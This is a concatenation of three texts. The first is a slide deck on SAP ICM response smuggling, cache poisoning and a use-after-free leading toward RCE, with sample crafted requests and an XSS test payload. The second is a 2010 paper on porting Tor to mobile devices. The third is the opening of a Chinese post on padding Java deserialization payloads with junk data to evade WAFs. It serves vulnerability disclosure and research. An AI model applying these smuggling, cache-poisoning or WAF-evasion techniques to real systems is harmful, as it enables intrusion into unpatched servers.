HTTP Response Smuggling
MPI Buffers
●
Multi-Purpose shared memory buffers used to store:
○
HTTP Requests
○
HTTP Responses
○
Out Of Bounds data
●
Each Worker Thread have a Linked List of MPI Buffer pointers (one for each purpose)
MPI Request Buffers
POST /
HTTP/1.1
GET /other
HTTP/1.1
I/O Handler
ICM - HTTP Pipelining
●
SAP ICM Java by default accepts Pipelined Requests using different MPI Buffers
ICM WT
GET /1 HTTP/1.1
GET /2 HTTP/1.1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
GET /1 GET/2
MPI Buffer
GET /2
HTTP/1.1 OK
MPI Request Buffers
GET /1 HTTP/1.1
GET /2 HTTP/1.1
I/O Handler
ICM WT
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
GET /1
GET/2
MPI Buffer
GET /2
HTTP/1.1 OK
MPI Buffer
HTTP/1.1 OK
HTTP/1.1 OK 200
….
MPI Request Buffers
GET /1 HTTP/1.1
GET /2 HTTP/1.1
ICM - HTTP Pipelining
●
SAP ICM Java by default accepts Pipelined Requests using different MPI Buffers
I/O Handler
ICM WT
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
GET /2
HTTP/1.1 OK 200
….
MPI Request Buffers
GET /1 HTTP/1.1
GET /2 HTTP/1.1
GET /2 HTTP/1.1
GET /2 HTTP/1.1
ICM - HTTP Pipelining
●
SAP ICM Java by default accepts Pipelined Requests using different MPI Buffers
MPI Use After Free: CVE-2022-22532
I/O Handler
MpiIFreeAllBuffers
ICM WT
GET /1 HTTP/1.1
….66KB data
GET /2 HTTP/1.1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
GET /1 HTTP/1.1
MPI Buffer
Body + GET /2
HTTP/1.1 OK
MPI Request Buffers
GET /1 HTTP/1.1
..Rest of Req1 Body..
GET /2 HTTP/1.1
GET /2 HTTP/1.1
MPI Buffer
GET /2 HTTP/1.1
I/O Handler
ICM WT
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
GET /1 HTTP/1.1
MPI Buffer
Body + GET /2
MPI Request Buffers
GET /1 HTTP/1.1
GET /2 HTTP/1.1
MPI Buffer
GET /2 HTTP/1.1
MPI Buffer
HTTP/1.1 OK
HTTP/1.1 OK 200
….
MpiIFreeAllBuffers
I/O Handler
ICM WT
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
GET /1 HTTP/1.1
MPI Buffer
Body + GET /2
MPI Buffer
GET /2 HTTP/1.1
MPI Request Buffers
GET /1 HTTP/1.1
GET /2 HTTP/1.1
GET /2 HTTP/1.1
MpiIFreeAllBuffers
I/O Handler
ICM WT
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
GET /2 HTTP/1.1
MpiIFreeAllBuffers() does NOT delete references
ERROR
MpiIFreeAllBuffers
MPI Request Buffers
GET /1 HTTP/1.1
GET /2 HTTP/1.1
MPI Handler “allocates” using a stack data structure (LIFO)
I/O Handler 1
ICM WT 1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
I/O Handler 2
ICM WT 2
GET /X
HTTP/1.1
….
MPI Buffer
GET /X HTTP/1.1
GET /2 HTTP/1.1
MPI Use After Free
MPI Use After Free - Write After Free
●
When a request is sent incomplete, the ICM will wait for more data
○
No double CR-LB characters are found
○
Body shorter than Message-Length header
●
Worker Thread is set to READ mode
●
When more data arrives the Worker Thread writes the MPI Buffer
●
The offset of the last byte (NULL) is stored by the Worker Thread to know where to write
ICM WT
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
ICM WT
I/O Handler
GET / HTTP/1.1
Hos
READ
[x00]
MPI Buffer
OFFSET: 0
MPI Use After Free - Write After Free
ICM WT
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
ICM WT
I/O Handler
READ
GET / HTTP/1.1\r\n
Hos[x00]
MPI Buffer
OFFSET: 19
GET / HTTP/1.1
PARSE
t: SapSys.com
Content-Length: 0
MPI Use After Free - Write After Free
READ
ICM WT
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
Free MPI Buffer
GET / HTTP/1.1
ICM WT
I/O Handler
GET / HTTP/1.1\r\n
Host: SapSys.com\r\n
Content-Length: 0\r\n
\r\n[x00]
MPI Buffer
OFFSET: 55
PARSE
HANDLE
MPI Use After Free - Write After Free
ICM WT 1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
ICM WT 1
I/O Handler
MPI Buffer
WT 1 OFFSET: 1
ICM WT 2
ICM WT 2
I/O Handler
GET /1 HTTP/1.1
….65KB data
X
MPI Buffer
MPI Buffer
GET /1 HTTP/1.1
Body + X
X
Req1 Body..
X
HTTP/1.1 200 OK
X[x00]
Smuggling without a Proxy
ICM WT 1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
MPI Buffer
ICM WT 1
I/O Handler
MPI Buffer
WT 1 OFFSET: 1
ICM WT 2
ICM WT 2
I/O Handler
MPI Buffer
MPI Buffer
GET /1 HTTP/1.1
Body + X
X
HTTP/1.1 200 OK
HTTP/1.1 200 OK
READ
PARSE
X[x00]
Smuggling without a Proxy
ICM WT 1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
ICM WT 1
I/O Handler
X[x00]
MPI Buffer
WT 1 OFFSET: 1
ICM WT 2
ICM WT 2
I/O Handler
READ
GET / HTTP/1.1
Host: SapSys.com
….
MPI Buffer
X
WT 2 OFFSET: 0
Smuggling without a Proxy
ICM WT 1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
ICM WT 1
I/O Handler
ICM WT 2
ICM WT 2
I/O Handler
READ
GET / HTTP/1.1\r\n
Host: SapSys.com\r\n
Content-Length: 0\r\n
\r\n[x00]
MPI Buffer
WT 1 OFFSET: 1
MPI Buffer
GET / HTTP/1.1
WT 2 OFFSET: 55
ET /otherURL
HTTP/1.1
Host: SapSys.com
Smuggling without a Proxy
ICM WT 1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
ICM WT 1
I/O Handler
ICM WT 2
ICM WT 2
I/O Handler
MPI Buffer
WT 1 OFFSET: 43
MPI Buffer
GET /otherURL
WT 2 OFFSET: 55
GET /otherURL HTTP/1.1\r\n
Host: SapSys.com\r\n
Length: 0\r\n
\r\n[x00]
HTTP/1.1 200 OK
Response for /otherURL
MPI Buffer
HTTP/1.1 200 OK
Smuggling without a Proxy
ICM WT 1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
ICM WT 1
I/O Handler
ICM WT 2
ICM WT 2
I/O Handler
MPI Buffer
WT 1 OFFSET: 43
MPI Buffer
GET /otherURL
WT 2 OFFSET: 55
GET /otherURL HTTP/1.1\r\n
Host: SapSys.com\r\n
Length: 0\r\n
\r\n[x00]
MPI Buffer
HTTP/1.1 200 OK
HTTP/1.1 200 OK
Smuggling without a Proxy
●
Steps:
a.
Attacker hijack MPI Buffer
b.
Victim place request in hijacked buffer
c.
Attacker tamper Victim’s request
d.
Victim receives malicious response
●
Same HTTP Smuggling exploitation
●
No proxy is required, but less reliable
●
Multi-Purpose Buffers… Requests or Response?
?
Smuggling without a Proxy
ICM WT 1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
X[x00]
MPI Buffer
WT 1 OFFSET: 1
ICM WT 2
ICM WT 2
I/O Handler
READ
GET /A HTTP/1.1
Host: SapSys.com
….
X
ICM WT 1
I/O Handler
Response Tampering
ICM WT 1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
ICM WT 2
ICM WT 2
I/O Handler
MPI Buffer
WT 1 OFFSET: 1
MPI Buffer
GET /A HTTP/1.1
WT 2 OFFSET: 0
X[x00]
HTTP/1.1 200 OK
Response for A
MPI Buffer
ICM WT 1
I/O Handler
READ
X
Response Tampering
ICM WT 1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
ICM WT 2
ICM WT 2
I/O Handler
WT 1 OFFSET: 1
MPI Buffer
GET /A HTTP/1.1
WT 2 OFFSET: 53
MPI Buffer
HTTP/1.1 200 OK
ICM WT 1
I/O Handler
TTP 200 OK
Sap-Cache-Control: …
Content-Length: 25
<script>alert(1)</script>
READ
MPI Buffer
HTTP/1.1 200 OK\r\n
Content-Length: 14\r\n
\r\n
Response for A[x00]
Response Tampering
ICM WT 1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
ICM WT 2
ICM WT 2
I/O Handler
MPI Buffer
WT 1 OFFSET: 88
MPI Buffer
GET /A HTTP/1.1
WT 2 OFFSET: 53
HTTP 200 OK\r\n
Sap-Cache-Control: Max-Age=100\r\n
Content-Length: 25\r\n
\r\n
<script>alert(1)</script>[x00]
MPI Buffer
HTTP/1.1 200 OK
ICM WT 1
I/O Handler
TTP 200 OK
Sap-Cache-Control: …
Content-Length: 25
<script>alert(1)</script>
HTTP/1.1 200 OK
Cache Handler
Response Parser
Cache Handler
Response Parser
ICM Arbitrary Cache Poisoning
ICM WT 1
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
ICM WT 2
ICM WT 2
I/O Handler
MPI Buffer
WT 1 OFFSET: 88
MPI Buffer
GET /A HTTP/1.1
HTTP 200 OK\r\n
Sap-Cache-Control: Max-Age=100\r\n
Content-Length: 25\r\n
\r\n
<script>alert(1)</script>[x00]
MPI Buffer
HTTP/1.1 200 OK
ICM WT 1
I/O Handler
TTP 200 OK
Sap-Cache-Control: …
Content-Length: 25
<script>alert(1)</script>
HTTP/1.1 200 OK
Cache Handler
Cache Handler
ICM Web Cache
/A
Resp
WT 2 OFFSET: 53
ICM Arbitrary Cache Poisoning
●
Steps:
a.
Attacker_1 hijack MPI Buffer
b.
Attacker_2 place target request in hijacked buffer
c.
Java generates response for Attacker_2
d.
Attacker_1 tampers response
e.
ICM stores response in internal cache
●
Multiple HTTP connections to hijack more MPI Buffers
●
A successful attack persists malicious response
ICM Arbitrary Cache Poisoning
DEMO:
MPI Use After Free
●
Out Of Bound (OOB) MPI Buffers transfer information about the request
●
Request and Response MPI Buffer pointers are communicated through OOB
●
Read memory by modifying Response MPI pointers
○
Generate response
○
Tamper OOB Buffer
○
Replace response Buffer with target address
○
Read up to 65KB of arbitrary ICM memory
●
Tamper function pointers on OOB Buffers
○
Guess memory layout by reading ICM memory
○
Find ROP gadget to write near stack
○
Load registers and Ret2Libc (system)
RCE - OOB Use After Free
●
Hijacking OOB Buffers is not reliable (operates too fast)
●
Tampering OOB Buffers crashes the ICM (MPIfreeBuffer fails)
●
Other option? Tamper internal Cache
●
Internal Cache stores Responses with a file header (Length, Encoding, body offset, …)
RCE - Cache Tampering
ICM WT 1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
ICM WT 2
ICM WT 2
I/O Handler
MPI Buffer
GET /A HTTP/1.1
MPI Buffer
HTTP/1.1 200 OK
ICM WT 1
I/O Handler
TTP 200 OK
Sap-Cache-Control: …
Content-Length: 25
<script>alert(1)</script>
HTTP/1.1 200 OK
Cache Handler
Response Parser
Cache Handler
Response Parser
ICM Cache Buffer Overflow
WT 1 OFFSET: 1
WT 2 OFFSET: 85
MPI Buffer
HTTP/1.1 200 OK\r\n
Content-Length: 14\r\n
Sap-Cache-Control: Max-Age=100\r\n
\r\n
Response for A[x00]
READ
Cache File
Length: 85
GZ: 0
Body: 71
ICM WT 1
Java Process
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Shared Memory
ICM WT 2
ICM WT 2
I/O Handler
MPI Buffer
GET /A HTTP/1.1
MPI Buffer
ICM WT 1
I/O Handler
TTP 200 OK
Sap-Cache-Control: …
Content-Length: 29
AAAAAAAAAAAAAA…
Cache Handler
Cache Handler
ICM Cache Buffer Overflow
Cache File
Length: 85
GZ: 0
Body: 71
HTTP 200 OK\r\n
Sap-Cache-Control: Max-Age=100\r\n
Content-Length: 29\r\n
\r\n
AAAAAAAAAAAAAAAAAAAAAAAAA[x00]
HTTP/1.1 200 OK
MPI Buffer
WT 1 OFFSET: 96
WT 2 OFFSET: 85
HTTP 200 OK\r\n
Sap-Cache-Control: Max-Age=100\r\n
Content-Length: 29\r\n
\r\n
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA[x00]
ICM WT
ICM WT
I/O Handler
GET /A HTTP/1.1
…
Req Cache Handler
ICM Web Cache
/A
Corrupt
ICM Cache Buffer Overflow
Cache File
Length: 85
GZ: 0
Body: 71
HTTP 200 OK
Sap-Cache-Control: Max-Age=100
Content-Length: 25
<script>alert(1)</script>[x00]
Length: 85
Body: 71
HEAP Buffer
Overflow
Solutions
●
CVE-2022-22536: CVSS 10 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
●
CVE-2022-22532: CVSS 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
●
SAP Netweaver (Java and ABAP), S/4Hana, WebDispatcher… any SAP Installation
●
SAP Security Notes: 3123396 & 3123427
●
Manual Workaround implemented at Netweaver and WebDispatcher
●
Detection Tool https://github.com/Onapsis/onapsis_icmad_scanner
●
HTTP Servers as a target
○
Reverse Engineer with RFC in mind
○
Similar functions and workflow
○
Identify Requests and Responses in memory
●
Escalate low level vulnerabilities with HTTP exploitation
○
Complex architectures with multiple internal Parsers
○
Not based on “invalid” HTTP headers
○
DNS Rebinding to bypass VPNs (botnet)
●
ICMAD addressed by CISA:
○
Critical impact
○
All SAP installations affected
○
Accessible through most exposed service (HTTP/S)
Conclusions
Questions? | pdf |
Mobile privacy: Tor on the iPhone and other
unusual devices
Marco Bonetti
<[email protected]>
May 2, 2010
Abstract
Tor is a software project that helps you defend against traffic analy-
sis, a form of network surveillance that threatens personal freedom and
privacy, confidential business activities and relationships, and state se-
curity. Tor protects you by bouncing your communications around a
distributed network of relays run by volunteers all around the world:
it prevents somebody watching your Internet connection from learning
what sites you visit, and it prevents the sites you visit from learning
your physical location.
Unfortunately, with the new features of HTML5 and browser built-
in geolocation being pushed into the Web2.0 world and on mobile
phones and browser, it’s becoming harder and harder to keep the users’
privacy safe. This paper will describe the problems which are arising
around the use of these new technologies and how they can be (ab)used
to attack Tor users. It will also describe where the development is
going to protect mobile phone users privacy and let them survive their
own devices.
i
1
Introduction
Tor is becoming more and more popular, it’s no surprise that TorProject.org
launched this year the ”Help us reach 5000 relay in 2010!” drive [1] [2]. Unfor-
tunately, such growth is not always followed by adoption of secure browsing
behavior and new privacy exploit techniques are always in the development.
If this is not enough, with the rapid growth and diffusion of mobile devices,
it’s becoming really difficult for the end user to protect his very own privacy.
Section 2 will describe the current scenario about secure communication
available for mobile phones. Section 3 will talk about the current availability
of Tor clients for mobile phones and the following chapters will go into details:
Section 4 will describe the working port for the Chumby One multimedia
alarm clock, Section 5 will talk about the Nokia N900 port, Section 6 will
introduce the Android port and, finally, Section 7 will describe my work
in porting Tor for the iPhone platform, how it can improve mobile privacy
communications and which problems arise when using it on such platform.
Finally, Section 8 will talk about what can be done next.
2
Mobile Phones (In)Security
The topic of mobile phones security saw its born in 2008 with the first con-
ferences on the subject and literally exploded in 2009. The reasons behind
this massive growth rely on five factors: phones are considered as something
personal, we bring them everywhere we go. Phones are critical devices: they
collect phone call logs, email and SMS; the addressbook is a precious source
of information, they’re used to store and carry around documents and of-
ten used as access unit to corporate networks. Phones operate in an higly
trusted enviroment, pheraps too much trusted: users trust their phones, they
trust their operator and operators trust themselves both for convenience and
compatibility. Phones communications protocol and networks are closed and
etherogeneus and, finally, the hardware landscapes and software platforms of
phones are fragmented, preventing a common breeding ground for security
development.
These issues have been explored in depth both on the communication side
by the works of Paget and Nohl [3] and on the architectural one by those
of Pietrosanti [4]. Architectural issues are quite interesting: chatting and
texting are predominant operations in the world of a phone, so mobile key-
boards adapted their layout to ease the insertion of common spoken words.
This will generally degrades the strength of a password generated using such
keyboards as numbers and non alphabetical symbols are quite difficult to type
1
into. Screen dimensions also play an important role in such an enviroment:
mobile phones browsers narrow url bar greatly improves phishing attacks,
while checking invalid SSL certificates could be either a really difficult task
or nearly impossible.
When it comes to mobile phones operating system security we can see
too many different implementation strategies, all of them with strengths
and weaknesses. Application permissions are generally configurable, unfor-
tunately, the most common solution is an ”all or nothing” approach, while a
granular permissions fine tuning would be much more safe and interesting.
Finally, on the communication side, there’re still too many unsafe protocol
in use. As we’ve just seen, GSM encryption has been cracked but it’s not the
only protocol who’s suffering: SMS is still being used a lot and, yet, heavily
vulnerable; from sender spoofing to rogue provisioning the Short Messaging
System is not to be considered a secure protocol at all.
When we focus our attention on the privacy side, mobile phones still
shows their young age: we’ve seen how rapid their growth has been, nowadays
phones are full fledged computers, carrying lots of personal data. Only some
of the available operating systems are capable of offering some form of data
encryption [5] [6], for the rest the only choice is to store data in clear.
3
Tor On Mobile Phones And Other Strange
Devices
This year, Tor was ported to a great number of mobile phones and some
strange device also. Everything started in December 2009 with Tor being
run as a bridge on a Chumby One [7], with an official announcement on the
Tor Project blog just some months later, around mid February [8].
Even if it’s an amusing device, the Chumby One is not a mobile phone
at all.
The first announcend working port on such devices has been the
Nokia N900 [9] [10] which received a Tor port for the Maemo platform in late
February.
Next, at the beginning of March, came Tor for Android devices [11] [12].
This one has been a real breakthrough: Android is an operating system for
mobile phones with a growing market share, porting the program on such a
platform will surely help Tor diffusion and adoptance.
Implementing the Tor program on mobile phones is not an easy task at
all: the etherogenity of platforms is the first problem to take into account. If
the new hosting platform is following the UNIX standards, then the porting
process will be much more easier than rewriting the code from scratch to
2
adapt the program to the new enviroment. Next problem is the processor
power, even if modern phones can sustain an heavy load of work, keeping the
CPU up with cryptographic functions is a performance and battery killer.
Last, but not least, problem resides in the user interface: as we’ve seen before
in Section 2, the user interface is often narrow and crippled, that’s why such
port of Tor have to adapt their layout in order to fit in small enviroment and
yet be powerful.
4
Tor On The Chumby One
As introduced in Section 3, the Chumby One was the first exotic device to
receive a working port of Tor. Chumby multimedia hubs are hackable Linux
devices, powered by an ARM cpu and 64MB of RAM: they’re an ideal device
for running low-powered and low-bandwidth Tor nodes.
The port has been hacked up by bunnie from bunnie:studios and Jacob
Appelbaum from TorProject. It was announced on 30th December 2009 from
bunnie’s blog [7] but it has only been officially accepted into the Tor source
tree some months later, the 21st February 2010 [8].
This port is very interesting for many aspects: first, it’s quite easy to
install. After installing the Chumby ARM cross toolchain, it’s just a mat-
ter of downloading torproject.org Chumby sources [13] and issuing a ”make”
command inside the source folder. This will produce a zipped build, unpack-
ing it in the root of an USB key and rebooting the Chumby One with such
key inserted will finally install Tor on the device. If a user doesn’t want to
fiddle with the command line and the cross compilers, unpacking one of the
officially provided builds will just be enough to get Tor on the device.
Second, this port is a real working examples on how to port Tor on
hardware with limited resources: the Chumby One has a good processor for
embedded devices and the minimum required amount of RAM to run a Tor
node. Nevertheless, it’s currently able to act as a bridge and providing all
the multimedia entertainment it was designed to without suffering any issues
or slowdown.
There’re also some drawbacks but I’m finding them useful to understand
how such devices can handle a working port of Tor. First one, the installer
will create a swap file for the Chumby One if not already present: this is
needed in case the node will start routing a lot of traffic in order to prevent
the underlying operating system to crash because of the consumption of all
the available RAM.
Second, the Chumby One operating system does not provide an easy to
use updating mechanism for unsupported third party software: Tor upgrades
3
have to rely on the user will to keep the installed program up to date.
Third, the default configuration will set up the node to act as bridge,
listening on port 443. This is an important choice since it will both increase
the number of nodes for helping people stuck inside Tor-hostile networks and
it will prevent the program to eat too many resources too.
Currently the Chumby Tor port is being actively developed and main-
tained, one of the next interesting features has yet been unveiled by bun-
nie:studios: it turns out that an easter egg present in the official firmware
can activate unofficial support for 3G dongles [14], allowing a Chumby device
to route Tor traffic even over the cellular data networks.
5
Tor On Maemo And The Nokia N900
As stated in Section 3, the N900 was the first mobile phone to get a working
port of Tor with a graphical controller application.
The Maemo platform is already providing support for Tor users as a third
party community site [15], the N900 is the choosen platform for developing
a graphical controller application for such operating system.
Installing the Maemo and N900 port is quite easy for this platform too:
the user has just to add the already present, but disabled, Extras-devel repos-
itory to the software manager, looking for Tor in the newly added packages
and reboot the phone. Unfortunately, such repository is marked as ”danger-
ous” even from the Maemo Cummunity site [16], which means the user has
the choice to keep this repo enabled, at the risk of having a non functional
operating system if an upgrade will go wrong, or enabling it just for installing
Tor and subsequent updates which, then, will have to be tracked by hand.
Once installed, the controller application is available from the status
menu: selecting the ”The Onion Router” icon will bring up the configuration
menu where the user can enable or disable the client.
This port is being actively developed but still quite young as the only op-
tion, for now, is the choice of wheter or not activating the client functionality
for the Tor network.
6
Orbot: Tor On Android
Orbot is the latest official TorProject port of Tor for a mobile platform. This
port targets mobile phones shipping with Android firmwares, both for version
1.x and 2.x.
Orbot is not yet available in the Android Market, however its installation
4
is one of the easier seen so far: just by scanning the QR code from the project
page, the user can install the program on his phone [12].
This port is one of the most complete: it ships a copy of Tor, libevent
and privoxy, providing HTTP and SOCKS 4a/5 access to the network. The
controller application can also set lot of different properties, behaving much
like Vidalia [17].
To successfully use the Tor network, Android 1.x users have to download
and install from Android Market the ProxySurf web browser and the Beem
instant messaging applications, while Android 2.x ones can rely on general
system settings. Another option, for both firmwares, is to root the device, in
this case Orbot will automatically transparent proxy all TCP traffic.
Development on this port is going strong but what is still missing is a
trusted secure browser. However, there’s an ongoing effort in porting Mozilla
Fennec over to this operating system [18], this will open the road to a port of
TorButton [19] for the mobile version of Mozilla browser, which could bring
to the community the first secure mobile browser for anonymous communi-
cations.
7
MobileTor: Tor On The iPhone and iPod
Touch Platforms
iPhone and iPod Touch devices are great mobile platforms: they offer quite
good computing power, nice multimedia hardware and a responsive operating
system, all packed in a small, portable form factor [20] [21]. It’s no surprise
that such devices are getting a bigger slice of the growing mobile marketshare.
The growth and diffusions of these products is also due to the availability
of a continuously growing application marketplace known as App Store [22]
and an underground, live, development community built around Cydia [23]
[24].
Choosing between the official route using the Apple iPhone SDK [25] or
the underground one with the open source development toolchain [26] [27] is
not an easy task: both of them have some pros and cons. When I started
looking into them for developing a port of Tor on the iPhone I had to make
the choice and went down for the open source road. The outcome was in
part forced by the stringent rules for applications submissions to the App
Store which prevents submitting new daemons so, for the initial testing and
development, it was the open source one.
The first port of Tor on the iPhone platform was done by cjacker huang
in December 2007 [28]: he patched the program to have it build and run
5
under first versions of the iPhone firmware together with a working port of
privoxy and he also provided iTor.app, a graphical controller application.
Unfortunately, some time later, he disappered together with iTor.app source
code and binaries: only his patches, accepted and merged into Tor source
tree, survived the event. In February 2010 I began my work from what he
left: I polished his own patches as no more necessaries with the growth of
both firmware versions and Tor code base and I start offering an up to date,
working Tor port for the iPhone again.
My currently working setup includes a Slackware Linux 13.0 64bit open
source toolchain built against iPhone OS version 3.1.2 and a local Tele-
sphoreo [29] checkout. Packages are built following Jay Freeman packaging
conventions for Cydia and hosted at my own online repository available at
http://sid77.slackware.it/iphone/.
Right now, the first phase of the project is completed: we finally have a
full working port of the command line version of Tor being able to run on
iPhone and iPod Touch devices. The program can both be used as an entry
point for the Tor network, as a traffic relaying node either over wireless or
cellular data networks and as an host for hidden services too.
The second phase of development is going on: even if the port is working
well, it can only be used via an SSH connection from a computer or directly on
the device using MobileTerminal [30]. These solutions are quite inappropriate
for the average user and there’s need for a graphical controller application
for Tor on the iPhone. A first approach is to implement an SBSettings [31]
switch: the user will still have to upload or edit on the device a working
configuration but there will be no more need for the command line interface
in order to start and stop Tor, just a tap on the appropriate icon. Such a
program is ready and soon available in my repository under the name of Tor
Toggle. A second, more complete, approach is the writing of a Vidalia-like
[17] application: this is the best solution for controlling and managing the
behavior of Tor on such devices but it’s still under heavy development and
not yet ready for publication.
Even if Tor on the iPhone is growing well, there’re some areas which
still need to be addressed. First of all, there’s lack of a Tor-secure browser:
the iPhone and iPod Touch are currently running Mobile Safari or WebKit
based browsers only, tests need to be run to examine such enviroments and
possibly ensure a secure anonymous browsing experience as much as it will
be allowed by the platform. Another issue is the ability to only set an HTTP
proxy from the wireless preference panel: SOCKS proxy are left out. Even if
this annoyance is easily bypassed by providing a working polipo port, using
Tor as plain SOCKS proxy could have been interesting. Last, the biggest
stopper is the inability to set a proxy for the cellular network: the only way
6
to do so, for now, is to plug the phone in a VPN and then setting a proxy from
there, plain VPN-less cellular data connections can not be proxied yet. All
of these problems are strictly related to the platform and operating system
but they yet impact the adoption of Tor on such mobile devices.
8
Conclusions
On the mobile communications front, Tor has been ported on different, ex-
otic and unusual platforms, such as the Chumby One, the Nokia N900 and
Android-based devices.
My work has been focused in getting Tor running on the iPhone and
iPod touch and it’s currently working very well. What it’s still needed is
a good, secure, browser for anonymous communications on such platforms,
this could be either a result of a good securing work for browsers already
available or a newer one written from scratch. Finally, a graphical controller
application is yet to be written in order to help with adoption and diffusion
of this program.
7
References
[1] The Tor Project. https://www.torproject.org/.
[2] Running
a
Tor
relay.
https://www.torproject.org/docs/
tor-doc-relay.html.en.
[3] Chris Paget, Karsten Nohl. GSM: SRSLY? http://events.ccc.de/
congress/2009/Fahrplan/events/3654.en.html.
[4] Fabio Pietrosanti. Mobile Security. Security Summit, 2010.
[5] BlackBerry Help Center. Encryption. http://docs.blackberry.com/
en/smartphone users/deliverables/1487/Encryption 34117 11.
jsp.
[6] BlackBerry
Help
Center.
About
content
protection.
http:
//docs.blackberry.com/en/smartphone users/deliverables/
1487/About content protection 29009 11.jsp.
[7] bunnie:studios.
Tor
Bridge
on
chumby
One.
http://www.
bunniestudios.com/blog/?p=800.
[8] Jacob Appelbaum.
Chumby One and running a bridge.
http://
archives.seul.org/or/talk/Feb-2010/msg00261.html.
[9] Jacob
Appelbaum.
Tor
on
the
Nokia
N900
(Maemo)
GSM
telephone.
https://blog.torproject.org/blog/
tor-nokia-n900-maemo-gsm-telephone.
[10] The Tor Project. Tor: N900 Instructions. https://www.torproject.
org/docs/N900.html.
[11] Jacob Appelbaum. Tor on Android. https://blog.torproject.org/
blog/tor-android.
[12] The Tor Project.
Tor:
Android Instructions.
https://www.
torproject.org/docs/android.html.
[13] The Tor Project. Chumby Tor sources. https://svn.torproject.org/
svn/projects/chumby/.
[14] bunnie:studios.
Make
Your
Own
3G
Router.
http://www.
bunniestudios.com/blog/?p=1076.
[15] Maemo Community. Tor. http://maemo.org/packages/view/tor/.
8
[16] Maemo
Community.
Extras-devel.
http://wiki.maemo.org/
Extras-devel.
[17] The Tor Project. Vidalia. http://www.torproject.org/vidalia/.
[18] Mozilla Wiki. Android. https://wiki.mozilla.org/Android.
[19] TorButton. https://www.torproject.org/torbutton/.
[20] Apple. Apple - iPhone - Technical Specifications. http://www.apple.
com/iphone/specs.html.
[21] Apple. Apple - iPod Touch - Technical Specifications for iPod Touch.
http://www.apple.com/ipodtouch/specs.html.
[22] Apple. Apple - iPhone - Download thousand of iPhone applications.
http://www.apple.com/iphone/apps-for-iphone/.
[23] Jay Freeman (saurik). Cydia. http://cydia.saurik.com/.
[24] Jay Freeman (saurik).
Bringing Debian APT to the iPhone.
http:
//www.saurik.com/id/1.
[25] Apple. iPhone SDK. http://developer.apple.com/iphone/.
[26] Jay Freeman (saurik). Upgrading the iPhone Toolchain. http://www.
saurik.com/id/4.
[27] iphonedevonlinux. http://code.google.com/p/iphonedevonlinux/.
[28] cjacker huang. Tor and privoxy had been ported to iphone and works
very well. http://archives.seul.org/or/dev/Dec-2007/msg00023.
html.
[29] Jay Freeman (saurik). Telesphoreo Tangelo. http://www.telesphoreo.
org/.
[30] Mobile Terminal. http://code.google.com/p/mobileterminal/.
[31] BigBoss. The Future of BossPrefs. http://thebigboss.org/2008/10/
19/the-future-of-bossprefs/.
9 | pdf |
@Y4tacker
对Java反序列化脏数据绕WAF新姿势的补
充
引⾔
相信⼤家都看过回忆飘如雪⼤师傅的⼀篇⽂章,Java反序列化数据绕WAF之加⼤量脏数据,
在这篇⽂章当中⼤师傅提出了通过将gadget加⼊到集合类型从⽽可以实现添加脏数据,这⾥我
发现了⼀个新姿势
灵感也是来源于回忆飘如雪⼤师傅的另⼀篇⽂章的⼀个⼀笔带过的问题上
这原本是⼤师傅想来搞gadget探测的⽅案,但是却失败了,但本着专研的⼯匠精神,我对这个
问题进⾏了深⼊的研究,这⾥顺便对这个问题解读
为什么这⾥第⼀个属性反序列化失败,仍然触发了URLDNS的整个
过程
顺便这⾥多提⼀嘴,为什么之后⼤师傅提出的直接将URLDNS中的HashMap的键值对中将key
或者value任意替换⼀个为需要探测的class就可以呢,其实核⼼原因在于是否能触发之后的
hash()函数!
这⾥我们调重点来讲,好了我们来看看当产⽣ ClassNotFoundException 后,最终
在 java.io.ObjectInputStream#readSerialData ,在抛出异常之后他会去继续调
⽤ skipCustomData
